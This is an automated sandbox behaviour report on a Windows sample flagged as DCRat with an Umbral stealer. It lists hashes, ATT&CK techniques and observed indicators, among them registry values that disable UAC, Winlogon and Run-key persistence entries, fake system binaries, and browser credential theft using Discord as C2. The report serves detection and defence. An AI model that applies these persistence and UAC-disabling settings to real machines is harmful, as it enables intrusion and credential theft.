dcrat | 8a23e0ccbd2027831ff07599f03b5c1324e080f9415983746de29a6c6ab695fc

Analysis

max time kernel
133s
max time network
149s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
28-08-2024 15:18

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General

Target

8a23e0ccbd2027831ff07599f03b5c1324e080f9415983746de29a6c6ab695fc.exe
Size

1.5MB
MD5

31f61e9c68256b4cc089b3703c0e2039
SHA1

5ed8cecacc5e6165d43ee91787f72846d2e8ad01
SHA256

8a23e0ccbd2027831ff07599f03b5c1324e080f9415983746de29a6c6ab695fc
SHA512

ae48468132212e4756864fe7ce22d55c35d53cadd482aebabd62ec9d724ea3786879d9364563613140a43fa6c63a6c5cc1ee1775e4e0e9977aee3b748d8a6df1
SSDEEP

24576:yuDXTIGaPhEYzUzA0bOvbKAO1WMbkiSfLAo9Ffze20S4OIsAMWlXl9h2DvpfsTCu:1Djlabwz9Sv61kiQKvS4OUMI4hfaD

Score

10^/10

dcrat umbral credential_access discovery evasion execution infostealer persistence rat spyware stealer trojan

Malware Config

Signatures

DcRat 28 IoCs

DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

rat infostealer dcrat

description	ioc	pid	Process
		1540	schtasks.exe
		1604	schtasks.exe
		1504	schtasks.exe
		2196	schtasks.exe
		1760	schtasks.exe
		2032	schtasks.exe
		1796	schtasks.exe
		2300	schtasks.exe
		2528	schtasks.exe
		2688	schtasks.exe
		796	schtasks.exe
		2496	schtasks.exe
		1744	schtasks.exe
		2180	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language		ratgergedrghi.exe
		2572	schtasks.exe
		1596	schtasks.exe
		2556	schtasks.exe
		992	schtasks.exe
		1620	schtasks.exe
		608	schtasks.exe
		908	schtasks.exe
		2988	schtasks.exe
		1368	schtasks.exe
		3024	schtasks.exe
		1396	schtasks.exe
		1856	schtasks.exe
		2480	schtasks.exe

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000b00000001225f-6.dat	family_umbral
behavioral1/memory/2424-25-0x00000000002C0000-0x0000000000300000-memory.dmp	family_umbral

Modifies WinLogon for persistence 2 TTPs 9 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\providerWinsessionruntimehost\\conhost.exe\", \"C:\\Windows\\SysWOW64\\lt-LT\\stealqqgwrffs.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\stealqqgwrffs.exe\", \"C:\\providerWinsessionruntimehost\\smss.exe\", \"C:\\providerWinsessionruntimehost\\csrss.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\providerWinsessionruntimehost\\conhost.exe\", \"C:\\Windows\\SysWOW64\\lt-LT\\stealqqgwrffs.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\stealqqgwrffs.exe\", \"C:\\providerWinsessionruntimehost\\smss.exe\", \"C:\\providerWinsessionruntimehost\\csrss.exe\", \"C:\\Recovery\\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\\services.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\providerWinsessionruntimehost\\conhost.exe\", \"C:\\Windows\\SysWOW64\\lt-LT\\stealqqgwrffs.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\stealqqgwrffs.exe\", \"C:\\providerWinsessionruntimehost\\smss.exe\", \"C:\\providerWinsessionruntimehost\\csrss.exe\", \"C:\\Recovery\\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\\services.exe\", \"C:\\MSOCache\\All Users\\{90140000-0018-0409-0000-0000000FF1CE}-C\\conhost.exe\", \"C:\\Program Files\\Common Files\\explorer.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\providerWinsessionruntimehost\\conhost.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\providerWinsessionruntimehost\\conhost.exe\", \"C:\\Windows\\SysWOW64\\lt-LT\\stealqqgwrffs.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\providerWinsessionruntimehost\\conhost.exe\", \"C:\\Windows\\SysWOW64\\lt-LT\\stealqqgwrffs.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\stealqqgwrffs.exe\", \"C:\\providerWinsessionruntimehost\\smss.exe\", \"C:\\providerWinsessionruntimehost\\csrss.exe\", \"C:\\Recovery\\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\\services.exe\", \"C:\\MSOCache\\All Users\\{90140000-0018-0409-0000-0000000FF1CE}-C\\conhost.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\providerWinsessionruntimehost\\conhost.exe\", \"C:\\Windows\\SysWOW64\\lt-LT\\stealqqgwrffs.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\stealqqgwrffs.exe\", \"C:\\providerWinsessionruntimehost\\smss.exe\", \"C:\\providerWinsessionruntimehost\\csrss.exe\", \"C:\\Recovery\\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\\services.exe\", \"C:\\MSOCache\\All Users\\{90140000-0018-0409-0000-0000000FF1CE}-C\\conhost.exe\", \"C:\\Program Files\\Common Files\\explorer.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\lsass.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\providerWinsessionruntimehost\\conhost.exe\", \"C:\\Windows\\SysWOW64\\lt-LT\\stealqqgwrffs.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\stealqqgwrffs.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\providerWinsessionruntimehost\\conhost.exe\", \"C:\\Windows\\SysWOW64\\lt-LT\\stealqqgwrffs.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\stealqqgwrffs.exe\", \"C:\\providerWinsessionruntimehost\\smss.exe\""	Surrogatereviewsession.exe

Process spawned unexpected child process 27 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1760	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2572	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2180	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1856	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	608	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3024	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2032	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1396	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	992	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1368	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2496	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	908	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2196	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1744	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1620	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1540	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1604	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1504	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2480	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1796	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1596	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2300	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2528	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2988	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2556	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2688	2608	schtasks.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	796	2608	schtasks.exe	35

UAC bypass 3 TTPs 6 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Surrogatereviewsession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Surrogatereviewsession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	Surrogatereviewsession.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

DCRat payload 4 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/files/0x0008000000017520-15.dat	dcrat
behavioral1/files/0x0006000000018741-41.dat	dcrat
behavioral1/memory/2936-43-0x0000000000990000-0x0000000000AD2000-memory.dmp	dcrat
behavioral1/memory/2004-117-0x0000000000130000-0x0000000000272000-memory.dmp	dcrat

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2976	powershell.exe
2092	powershell.exe
2276	powershell.exe
2648	powershell.exe

Disables Task Manager via registry modification
evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	stealqqgwrffs.exe

Executes dropped EXE 4 IoCs

pid	Process
2424	stealqqgwrffs.exe
2156	ratgergedrghi.exe
2936	Surrogatereviewsession.exe
2004	conhost.exe

Loads dropped DLL 2 IoCs

pid	Process
1108	cmd.exe
1108	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 18 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\providerWinsessionruntimehost\\conhost.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\services = "\"C:\\Recovery\\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\\services.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\MSOCache\\All Users\\{90140000-0018-0409-0000-0000000FF1CE}-C\\conhost.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\stealqqgwrffs = "\"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\stealqqgwrffs.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\stealqqgwrffs = "\"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\stealqqgwrffs.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\services = "\"C:\\Recovery\\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\\services.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\explorer = "\"C:\\Program Files\\Common Files\\explorer.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsass = "\"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\lsass.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\providerWinsessionruntimehost\\conhost.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\stealqqgwrffs = "\"C:\\Windows\\SysWOW64\\lt-LT\\stealqqgwrffs.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\providerWinsessionruntimehost\\smss.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\providerWinsessionruntimehost\\smss.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\providerWinsessionruntimehost\\csrss.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\providerWinsessionruntimehost\\csrss.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\MSOCache\\All Users\\{90140000-0018-0409-0000-0000000FF1CE}-C\\conhost.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer = "\"C:\\Program Files\\Common Files\\explorer.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\stealqqgwrffs = "\"C:\\Windows\\SysWOW64\\lt-LT\\stealqqgwrffs.exe\""	Surrogatereviewsession.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\lsass = "\"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\lsass.exe\""	Surrogatereviewsession.exe

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Surrogatereviewsession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Surrogatereviewsession.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	conhost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\lt-LT\stealqqgwrffs.exe	Surrogatereviewsession.exe
File created	C:\Windows\SysWOW64\lt-LT\ba9629384e3d1a	Surrogatereviewsession.exe

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File created	C:\Program Files\Common Files\7a0fd90576e088	Surrogatereviewsession.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\lsass.exe	Surrogatereviewsession.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\6203df4a6bafc7	Surrogatereviewsession.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\stealqqgwrffs.exe	Surrogatereviewsession.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\ba9629384e3d1a	Surrogatereviewsession.exe
File created	C:\Program Files\Common Files\explorer.exe	Surrogatereviewsession.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ratgergedrghi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1328	cmd.exe
2356	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1784	wmic.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2156	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2356	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 27 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1620	schtasks.exe
2480	schtasks.exe
1760	schtasks.exe
2180	schtasks.exe
1396	schtasks.exe
2032	schtasks.exe
1604	schtasks.exe
2556	schtasks.exe
2572	schtasks.exe
908	schtasks.exe
1796	schtasks.exe
2688	schtasks.exe
3024	schtasks.exe
1744	schtasks.exe
1596	schtasks.exe
2528	schtasks.exe
1368	schtasks.exe
1504	schtasks.exe
2496	schtasks.exe
2196	schtasks.exe
1540	schtasks.exe
2300	schtasks.exe
2988	schtasks.exe
796	schtasks.exe
1856	schtasks.exe
608	schtasks.exe
992	schtasks.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
2424	stealqqgwrffs.exe
2648	powershell.exe
2976	powershell.exe
2936	Surrogatereviewsession.exe
2936	Surrogatereviewsession.exe
2936	Surrogatereviewsession.exe
2092	powershell.exe
1788	powershell.exe
2936	Surrogatereviewsession.exe
2936	Surrogatereviewsession.exe
2276	powershell.exe
2004	conhost.exe
2004	conhost.exe
2004	conhost.exe
2004	conhost.exe
2004	conhost.exe
2004	conhost.exe
2004	conhost.exe
2004	conhost.exe
2004	conhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2004	conhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2424	stealqqgwrffs.exe
Token: SeIncreaseQuotaPrivilege	2356	wmic.exe
Token: SeSecurityPrivilege	2356	wmic.exe
Token: SeTakeOwnershipPrivilege	2356	wmic.exe
Token: SeLoadDriverPrivilege	2356	wmic.exe
Token: SeSystemProfilePrivilege	2356	wmic.exe
Token: SeSystemtimePrivilege	2356	wmic.exe
Token: SeProfSingleProcessPrivilege	2356	wmic.exe
Token: SeIncBasePriorityPrivilege	2356	wmic.exe
Token: SeCreatePagefilePrivilege	2356	wmic.exe
Token: SeBackupPrivilege	2356	wmic.exe
Token: SeRestorePrivilege	2356	wmic.exe
Token: SeShutdownPrivilege	2356	wmic.exe
Token: SeDebugPrivilege	2356	wmic.exe
Token: SeSystemEnvironmentPrivilege	2356	wmic.exe
Token: SeRemoteShutdownPrivilege	2356	wmic.exe
Token: SeUndockPrivilege	2356	wmic.exe
Token: SeManageVolumePrivilege	2356	wmic.exe
Token: 33	2356	wmic.exe
Token: 34	2356	wmic.exe
Token: 35	2356	wmic.exe
Token: SeIncreaseQuotaPrivilege	2356	wmic.exe
Token: SeSecurityPrivilege	2356	wmic.exe
Token: SeTakeOwnershipPrivilege	2356	wmic.exe
Token: SeLoadDriverPrivilege	2356	wmic.exe
Token: SeSystemProfilePrivilege	2356	wmic.exe
Token: SeSystemtimePrivilege	2356	wmic.exe
Token: SeProfSingleProcessPrivilege	2356	wmic.exe
Token: SeIncBasePriorityPrivilege	2356	wmic.exe
Token: SeCreatePagefilePrivilege	2356	wmic.exe
Token: SeBackupPrivilege	2356	wmic.exe
Token: SeRestorePrivilege	2356	wmic.exe
Token: SeShutdownPrivilege	2356	wmic.exe
Token: SeDebugPrivilege	2356	wmic.exe
Token: SeSystemEnvironmentPrivilege	2356	wmic.exe
Token: SeRemoteShutdownPrivilege	2356	wmic.exe
Token: SeUndockPrivilege	2356	wmic.exe
Token: SeManageVolumePrivilege	2356	wmic.exe
Token: 33	2356	wmic.exe
Token: 34	2356	wmic.exe
Token: 35	2356	wmic.exe
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	2976	powershell.exe
Token: SeDebugPrivilege	2936	Surrogatereviewsession.exe
Token: SeDebugPrivilege	2092	powershell.exe
Token: SeDebugPrivilege	1788	powershell.exe
Token: SeIncreaseQuotaPrivilege	2604	wmic.exe
Token: SeSecurityPrivilege	2604	wmic.exe
Token: SeTakeOwnershipPrivilege	2604	wmic.exe
Token: SeLoadDriverPrivilege	2604	wmic.exe
Token: SeSystemProfilePrivilege	2604	wmic.exe
Token: SeSystemtimePrivilege	2604	wmic.exe
Token: SeProfSingleProcessPrivilege	2604	wmic.exe
Token: SeIncBasePriorityPrivilege	2604	wmic.exe
Token: SeCreatePagefilePrivilege	2604	wmic.exe
Token: SeBackupPrivilege	2604	wmic.exe
Token: SeRestorePrivilege	2604	wmic.exe
Token: SeShutdownPrivilege	2604	wmic.exe
Token: SeDebugPrivilege	2604	wmic.exe
Token: SeSystemEnvironmentPrivilege	2604	wmic.exe
Token: SeRemoteShutdownPrivilege	2604	wmic.exe
Token: SeUndockPrivilege	2604	wmic.exe
Token: SeManageVolumePrivilege	2604	wmic.exe
Token: 33	2604	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2372 wrote to memory of 2424	2372	8a23e0ccbd2027831ff07599f03b5c1324e080f9415983746de29a6c6ab695fc.exe	30
PID 2372 wrote to memory of 2424	2372	8a23e0ccbd2027831ff07599f03b5c1324e080f9415983746de29a6c6ab695fc.exe	30
PID 2372 wrote to memory of 2424	2372	8a23e0ccbd2027831ff07599f03b5c1324e080f9415983746de29a6c6ab695fc.exe	30
PID 2372 wrote to memory of 2156	2372	8a23e0ccbd2027831ff07599f03b5c1324e080f9415983746de29a6c6ab695fc.exe	31
PID 2372 wrote to memory of 2156	2372	8a23e0ccbd2027831ff07599f03b5c1324e080f9415983746de29a6c6ab695fc.exe	31
PID 2372 wrote to memory of 2156	2372	8a23e0ccbd2027831ff07599f03b5c1324e080f9415983746de29a6c6ab695fc.exe	31
PID 2372 wrote to memory of 2156	2372	8a23e0ccbd2027831ff07599f03b5c1324e080f9415983746de29a6c6ab695fc.exe	31
PID 2156 wrote to memory of 3012	2156	ratgergedrghi.exe	32
PID 2156 wrote to memory of 3012	2156	ratgergedrghi.exe	32
PID 2156 wrote to memory of 3012	2156	ratgergedrghi.exe	32
PID 2156 wrote to memory of 3012	2156	ratgergedrghi.exe	32
PID 2424 wrote to memory of 2356	2424	stealqqgwrffs.exe	33
PID 2424 wrote to memory of 2356	2424	stealqqgwrffs.exe	33
PID 2424 wrote to memory of 2356	2424	stealqqgwrffs.exe	33
PID 2424 wrote to memory of 2720	2424	stealqqgwrffs.exe	36
PID 2424 wrote to memory of 2720	2424	stealqqgwrffs.exe	36
PID 2424 wrote to memory of 2720	2424	stealqqgwrffs.exe	36
PID 2424 wrote to memory of 2648	2424	stealqqgwrffs.exe	38
PID 2424 wrote to memory of 2648	2424	stealqqgwrffs.exe	38
PID 2424 wrote to memory of 2648	2424	stealqqgwrffs.exe	38
PID 3012 wrote to memory of 1108	3012	WScript.exe	40
PID 3012 wrote to memory of 1108	3012	WScript.exe	40
PID 3012 wrote to memory of 1108	3012	WScript.exe	40
PID 3012 wrote to memory of 1108	3012	WScript.exe	40
PID 1108 wrote to memory of 2936	1108	cmd.exe	42
PID 1108 wrote to memory of 2936	1108	cmd.exe	42
PID 1108 wrote to memory of 2936	1108	cmd.exe	42
PID 1108 wrote to memory of 2936	1108	cmd.exe	42
PID 2424 wrote to memory of 2976	2424	stealqqgwrffs.exe	43
PID 2424 wrote to memory of 2976	2424	stealqqgwrffs.exe	43
PID 2424 wrote to memory of 2976	2424	stealqqgwrffs.exe	43
PID 2424 wrote to memory of 2092	2424	stealqqgwrffs.exe	46
PID 2424 wrote to memory of 2092	2424	stealqqgwrffs.exe	46
PID 2424 wrote to memory of 2092	2424	stealqqgwrffs.exe	46
PID 2424 wrote to memory of 1788	2424	stealqqgwrffs.exe	59
PID 2424 wrote to memory of 1788	2424	stealqqgwrffs.exe	59
PID 2424 wrote to memory of 1788	2424	stealqqgwrffs.exe	59
PID 2936 wrote to memory of 2868	2936	Surrogatereviewsession.exe	76
PID 2936 wrote to memory of 2868	2936	Surrogatereviewsession.exe	76
PID 2936 wrote to memory of 2868	2936	Surrogatereviewsession.exe	76
PID 1108 wrote to memory of 2156	1108	cmd.exe	78
PID 1108 wrote to memory of 2156	1108	cmd.exe	78
PID 1108 wrote to memory of 2156	1108	cmd.exe	78
PID 1108 wrote to memory of 2156	1108	cmd.exe	78
PID 2868 wrote to memory of 2684	2868	cmd.exe	79
PID 2868 wrote to memory of 2684	2868	cmd.exe	79
PID 2868 wrote to memory of 2684	2868	cmd.exe	79
PID 2424 wrote to memory of 2604	2424	stealqqgwrffs.exe	80
PID 2424 wrote to memory of 2604	2424	stealqqgwrffs.exe	80
PID 2424 wrote to memory of 2604	2424	stealqqgwrffs.exe	80
PID 2424 wrote to memory of 1520	2424	stealqqgwrffs.exe	83
PID 2424 wrote to memory of 1520	2424	stealqqgwrffs.exe	83
PID 2424 wrote to memory of 1520	2424	stealqqgwrffs.exe	83
PID 2424 wrote to memory of 3012	2424	stealqqgwrffs.exe	85
PID 2424 wrote to memory of 3012	2424	stealqqgwrffs.exe	85
PID 2424 wrote to memory of 3012	2424	stealqqgwrffs.exe	85
PID 2424 wrote to memory of 2276	2424	stealqqgwrffs.exe	87
PID 2424 wrote to memory of 2276	2424	stealqqgwrffs.exe	87
PID 2424 wrote to memory of 2276	2424	stealqqgwrffs.exe	87
PID 2424 wrote to memory of 1784	2424	stealqqgwrffs.exe	89
PID 2424 wrote to memory of 1784	2424	stealqqgwrffs.exe	89
PID 2424 wrote to memory of 1784	2424	stealqqgwrffs.exe	89
PID 2424 wrote to memory of 1328	2424	stealqqgwrffs.exe	91
PID 2424 wrote to memory of 1328	2424	stealqqgwrffs.exe	91

System policy modification 1 TTPs 6 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
